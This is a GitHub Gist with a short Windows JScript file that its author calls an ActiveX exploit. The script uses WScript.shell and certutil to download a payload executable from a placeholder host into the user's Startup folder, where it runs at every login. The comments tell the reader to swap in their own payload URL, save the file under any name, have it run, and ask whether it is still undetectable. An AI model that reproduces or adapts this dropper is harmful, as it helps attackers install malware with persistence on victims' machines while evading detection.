Skip to content

Instantly share code, notes, and snippets.

@angeloped
Created March 10, 2021 08:30
Show Gist options
  • Save angeloped/7e5a5b494535575defe3682e2a2a857e to your computer and use it in GitHub Desktop.
Save angeloped/7e5a5b494535575defe3682e2a2a857e to your computer and use it in GitHub Desktop.
Exploit ActiveX with JS file. This was my idea at age 17 (2017). It worked before. I don't know if it still works in modern times.
function exploit(){
var objShell = new ActiveXObject("WScript.shell");
objShell.run("certutil.exe -urlcache -f http://master/yourpayload.exe C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe");
}
exploit();
// change 'http://master/yourpayload.exe'
// save it as anything.js
// download this anything.js
// (was it still undetectable?)
// run!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment